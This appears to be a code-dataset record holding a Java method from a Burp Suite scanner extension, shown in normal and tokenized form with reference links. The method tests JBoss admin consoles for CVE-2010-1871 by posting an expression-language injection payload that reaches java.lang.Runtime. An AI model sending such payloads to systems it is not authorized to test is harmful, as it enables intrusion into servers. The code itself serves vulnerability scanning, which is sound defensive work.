public void testJBossSEAMAdminCVE20101871(IBurpExtenderCallbacks callbacks,URL url,IHttpRequestResponse baseRequestResponse) throws MalformedURLException {
  IExtensionHelpers helpers=callbacks.getHelpers();
  List<String> headers=new ArrayList<>();
  headers.add("POST " + JBOSS_ADMIN_PATHS.get(0) + " HTTP/1.1");
  headers.add("Host: " + url.getHost() + ":"+ url.getPort());
  headers.add("Content-Type: application/x-www-form-urlencoded");
  headers.add("Cookie: JSESSIONID=4416F53DDE1DBC8081CDBDCDD1666FB0");
  String body="actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}";
  byte[] seamMesssage=helpers.buildHttpMessage(headers,body.getBytes());
  IHttpRequestResponse resp=callbacks.makeHttpRequest(baseRequestResponse.getHttpService(),seamMesssage);
  byte[] httpResponse=resp.getResponse();
  List<int[]> matches=getMatches(httpResponse,GREP_STRING_CVE20101871,helpers);
  if (matches.size() > 0) {
    callbacks.addScanIssue(new CustomScanIssue(baseRequestResponse.getHttpService(),new URL(url.getProtocol(),url.getHost(),url.getPort(),"/admin-console/login.seam"),new CustomHttpRequestResponse(seamMesssage,httpResponse,baseRequestResponse.getHttpService()),TITLE_JBOSS_CVE_2010_1871,DESCRIPTION_JBOSS_CVE_2010_1871,REMEDY_CVE_2010_1871,Risk.High,Confidence.Certain));
  }
}

public void testJBossSEAMAdminCVE20101871 ( IBurpExtenderCallbacks callbacks , URL url , IHttpRequestResponse baseRequestResponse ) throws MalformedURLException { IExtensionHelpers helpers = callbacks . getHelpers ( ) ; List < String > headers = new ArrayList < > ( ) ; headers . add ( "POST " + JBOSS_ADMIN_PATHS . get ( 0 ) + " HTTP/1.1" ) ; headers . add ( "Host: " + url . getHost ( ) + ":" + url . getPort ( ) ) ; headers . add ( "Content-Type: application/x-www-form-urlencoded" ) ; headers . add ( "Cookie: JSESSIONID=4416F53DDE1DBC8081CDBDCDD1666FB0" ) ; String body = "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}" ; byte [ ] seamMesssage = helpers . buildHttpMessage ( headers , body . getBytes ( ) ) ; IHttpRequestResponse resp = callbacks . makeHttpRequest ( baseRequestResponse . getHttpService ( ) , seamMesssage ) ; byte [ ] httpResponse = resp . getResponse ( ) ; List < int [ ] > matches = getMatches ( httpResponse , GREP_STRING_CVE20101871 , helpers ) ; if ( matches . size ( ) > 0 ) { callbacks . addScanIssue ( new CustomScanIssue ( baseRequestResponse . getHttpService ( ) , new URL ( url . getProtocol ( ) , url . getHost ( ) , url . getPort ( ) , "/admin-console/login.seam" ) , new CustomHttpRequestResponse ( seamMesssage , httpResponse , baseRequestResponse . getHttpService ( ) ) , TITLE_JBOSS_CVE_2010_1871 , DESCRIPTION_JBOSS_CVE_2010_1871 , REMEDY_CVE_2010_1871 , Risk . High , Confidence . Certain ) ) ; } }
test for cve 2010 - 1871 on the jboss admin console references : https : / / bugzilla . redhat . com / show_bug . cgi ? id = 615956 http : / / blog . o0o . nu / 2010 / 07 / cve - 2010 - 1871 - jboss - seam - framework . html http : / / archives . neohapsis . com / archives / bugtraq / 2013 - 05 / 0117 . html http : / / www . exploit - db . com / exploits / 36653 /
